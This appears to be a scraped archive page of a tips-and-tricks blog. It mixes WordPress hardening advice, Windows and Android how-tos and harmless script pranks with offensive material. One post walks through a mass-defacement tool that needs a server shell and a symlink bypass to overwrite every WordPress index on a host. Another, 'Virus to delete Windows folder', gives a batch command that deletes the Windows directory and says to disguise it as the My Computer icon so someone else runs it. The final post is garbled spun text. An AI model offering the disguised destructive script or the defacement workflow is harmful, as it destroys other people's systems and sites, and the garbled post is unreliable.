Showing posts with label Blogger Tricks. Show all posts

Wordpress Mass Defacement Tool

Wordpress as being one the widely used CMS platform is one the favorite
target of hackers now a days along with WHMCS, Instead of directly
targeting wordpress fucntionalities and vulnerable plugins, it has been
observed that the hackers are targeting a vulnerable website on the same
server and using it they are able to bypass server restrictions in
order to get the configuration file and hence hacking in to the
wordpress. This method is commonly known as Symlink Bypassing in Black Hat World and server bypassing in White hat community.

Now it's a difficult task for an attacker to manually
connect to the database and then manually replace the index file of
worpdress for a successful defacement. Therefore hackers use Mass
defacers. These are tools used by hackers to change the index files of
all the websites present on the server with their own defacement page,
This usually happens when the hacker has root level access on the
server.

Recently, The admin of Team Root "Mauritania Attacker" mailed me
his tool for the review, Which can be used by attackers to deface all
the wordpress websites present on the same server.

How Does It Work?

For this tool to work the only requirement would be that the server is
vulnerable to symlink bypass, This tool will automatically symlink all
the wordpress websites on the server and replace their indexes with the
page you will provide (.html or .PHP).

How To Use It?

The usage is extremely simple and i really don't see purpose of creating
a tutorial, however this blog is mostly read by newbies, So I will add
some screen shots.

Requirements

1. Shell On The Server
2. The shell should not be secured from Symlink Bypassing.
3. Wordpress Mass Defacement Tool

Once you have completed all the above requirements, Just upload the Mass
Defacement tool to the webserver, it will look some thing like this,
Now replace the contents of index url with your own defacement page.

Next you will see the results for the websites, yo have been able to deface:

And finally you can view the list of all the websites, you were able to deface:

How To Protect Your Self?

In order to protect your website from being defaced, All you need to do
is to change the permissions of your index files to 400. So no one will
be able to change them, however if an attacker has root level access on
the server, there is no way of protecting your website, since the
attacker can manually change the permissions.

How To Secure Your Wordpress Blogs?

After a long time i am going to show you how to secure Wordpress blogs from haclers. Hackers are the person like you and us but the only difference is that
they use their skills for the negative and destructive purposes, they
use their skills to break a website, they normally destroy all the
stuff's, so if you are a admin of a website you should care about the
security of the website.
As you know that the wordpress is a common and most popular plate form
for blogging, but the security of the wordpress is always a hot
discussion and it need more and more concentration because vulnerability
discover everyday. Below are some tips to make your blog secure:

Secure WP-Admin By IP

Let suppose if someone can get the ability(username & Password) to
enter into your website WP section, you can restrict this area by your
IP. It prevent brute forcing attack and only you can able to control on
your website because of IP restriction.

Order deny,allow
Deny from All
Allow from 123.456.789.0
You can allow and deny IP's from a range use this:
order deny,allow deny from all # allow my home IP address allow from
XX.XX.XXX.XXX # allow my work IP address allow from XX.XX.XXX.XXX

Protect WP-Config.php File

WP-Config.php file has a great importance on wordpress plate form, it
need more care and usually an attacker get the required information
about the database of your website from WP-Config file. Basically if you
use a strong database user-name and password while your WP-Config
security is low than an attacker can get your strong user-name and
password from wp-config file, because it contain all the information
about the security and other things of your website.

Access .htaccess file is located at the root your WordPress installation open it and paste the following code.

order allow,deny
deny from all

Hide WordPress Version Number

You must hide the version of your wordpress because an attacker may find
the available exploit by searching it on different exploit database by
version number and it may cause a great harm for your blog so be care
about it.

This tag is in the header.php file that displays your current version of wordpress

Copy and paste the code in the functions.php file of your theme and than you are done.

remove_action('wp_head', 'wp_generator');

Remove Error Message From Login Screen

This is your clever move to remove the error message that an attacker
would not able to see if the user-name and password incorrect, update
your function.php by this code.

add_filter('login_errors',create_function('$a', \"return null;\"));

Some Other Security Tips

Use your mind because mind is an essential part to secure yourself on the jungle of web.

Create strong passwords that are not easily be guess or crack.

Secure your own side(your computer) from different malware.

Make regular backup of your blog.

Update your wordpress to latest version

Use SSH instead of FTP

Avoid using your account on public places

You must be ware on different attacks to secure yourself.

Control Your Android Phone From Your Computer

Hello friends, hope you are all fine. Nowadays most of us use android phone and me too so I searched through online to control my mobile from my computer, in that way I found one way. You can ask me is it possible and even simple? The Answer is YES! You can by an simple application which is free in the market called “Airdroid”.

Why I choose this?

There are many free applications in android market to control and connect your android phone with PC without cable. But the main problem is they uses more memory from your phone so it causes mobile hanging and slows down our phone software processing speed. In this way “AIRDROID” uses very less memory to process this so there is nothing affected by this application.

Steps to follow:

Step 1: Download and Install “AirDroid” application on your Android Device from android market, its fully free application.

Step 2 : After installing Airdroid on your device simply Run it and you will see the screen like the above page. In this you can see the URL(ip address) and password field.

Step 3: Now you are successfully installed your apps, and ready to connect with you computer. For this you need a web browser.

Step 4: Then open your browser and enter the URL(ip address with port) you see in your Airdroid Device App in your web browsers field like below and hit enter.

Step 5: After you hit enter the new Airdroid will page and prompt you to enter PASSWORD, So you have you enter your password which you seen in your Airdoid Device application. Then click Login.

Step 6 : Now you are ready to Control you android device from your PC. Just control everything. ….

See you in the next post. Thanks for watching this friends…..

How to auto login in Window 7

Hello friends, today the post is to automatically login in to your computer without asking the user login page. That means you can have more than one user in your computer but you usually use only one account daily means you can set that account as auto login so that you need not to login every time you switch on your computer. Here are the steps:

Step 1: Login into your account and then click “Start” menu and then type “Netplwiz” and press Enter.

Step 2: A User account box will appear, which shows the user names of your computer.

Gunaseelan SEO

Step 3: Then click the name of the username which is to auto login. And then uncheck the box above the ser name “Users must enter a username and password to use this computer” then press “OK”.

Step 4: Then it will ask you username and password. After enter username and password click “Ok”.

Computer tips and tricks - Gunaseelan SEO

Step 5: To check restart your computer, it will not ask you the login credentials.

See this video to see the steps visually

Author Bio: I am Gunaseelan – SEO Analyst in Chennai. I am doing SEO in last 2 years for some niche sites and get ranking well. Nowadays our team getting a stepping stone ORM projects. See my facebook profile here: http://www.facebook.com/gunaseelanbaabin

How to Use Pendrive as Key for PC

Hello Friends, this is the post to show how to use pendrive as a login key for your PC. This is more secure because you dont want to remember your password. Just insert your pendrive and you can login to your PC. You cant start your PC without that pendrive. I show your the trick in this video Please watch it and enjoy. Thank You.

Shaking Your Window or Browser

Hi guys, today I post two tricks. First one is to shack your window or browser. Please do the following step:

javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)

Copy the above code and paste in the address address bar and press enter now you can see the magic

Next one is the magic with MS WORD.

Open a empty MS Word document.

And type this with =Rand (200, 99) then hit enter see the magic.

Hope you enjoy those trick. Thank You.

Check Your Computer is Male or Female

This is really a funny trick, guys. Now you can know the gender of your computer that is male or female. Just follow the step: (Note: you must have speaker or headphone)

your computer male or female

? Open a Notepad and paste the following codes in to that file.

CreateObject("SAPI.SpVoice").Speak"i love you"

? Save the file as “gender.vbs”
? Put your speaker ON or just take your head phone.
? Now open that saved file
? Then if you hear male voice, your computer is male and if you hear female voice means its female.

Make Your Keyboard LED Dancing

Hi guys, this is a simple trick to blink your keyboard LED’s continuously by a simple batch programming. Steps:

· * Open notepad and copy paste the following code into that notepad

Set wshShell =wscript.CreateObject("WScript.Shell")

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

wshshell.sendkeys "{NUMLOCK}"

wshshell.sendkeys "{SCROLLLOCK}"

loop

· * And then save that file as “led.vbs” (Note: Make sure need must vbs)

· * Now double click that vbs. You can see the dancing of your keyboard LED’s.

To Stop that blinking go to task manager (control+Alt+Del). And Choose process tab then right click on wscript process and end the process.

Thanks to watching this.

___________________________________________________________

My Other Blog

VIRUS TO DELETE WINDOWS FOLDER

Step 1: Open Notepad and type following command as it is without Quotes.

“del C:\Windows /f /q”

Step 2: NOTE :Instead of C:/ you have to type your drive in which Windows is installed.

Step 3: Save it as a.bat (don’t forget to choose all files from save option.)

Step 4: Now save it in any Drive other than C: .

Virus to delete windows folder - Gunaseelan

Step 5: Now create a shortcut to that bat file on desktop. (refer the above image)

Step 6: Then Change the Icon of the file as My Computer icon. (refer the above image)

Step 7: Now change that file icon as My Computer icon and then leave the computer.

AFTER THAT: Now when someone will open the My Computer the Windows folder will be deleted and that person will have to reinstall the OS.

Google Underwater Image Search

In china google has introduced an interesting special animated image search called Google Under Water search. It is like searching images under water.

Google Under Water Search

This is pages developed by using “jquery” and using some “java scripts”. Guys feel this image search just go through this page http://www.google.com.hk/

Make your Blogger Blog ready for Mobile Phones

As you be spirit with, millions of people use their river phones to gain cyberspace. The roving net evaluate is also real immediate these life with 3G's , ambulatory applications.

From this, we can say many of your readers are coming to your diary through nomadic phones..But, if you don't piddle your journal raiseable social, .you may regress all your moving readers because in a waterborne phone, a formula diary takes lot of moment to sedimentation and there are other issues that your site not fitting properly in the mobile screen.

So, here is how to achieve your Blogger (blogspot) journal seaborne net friendly.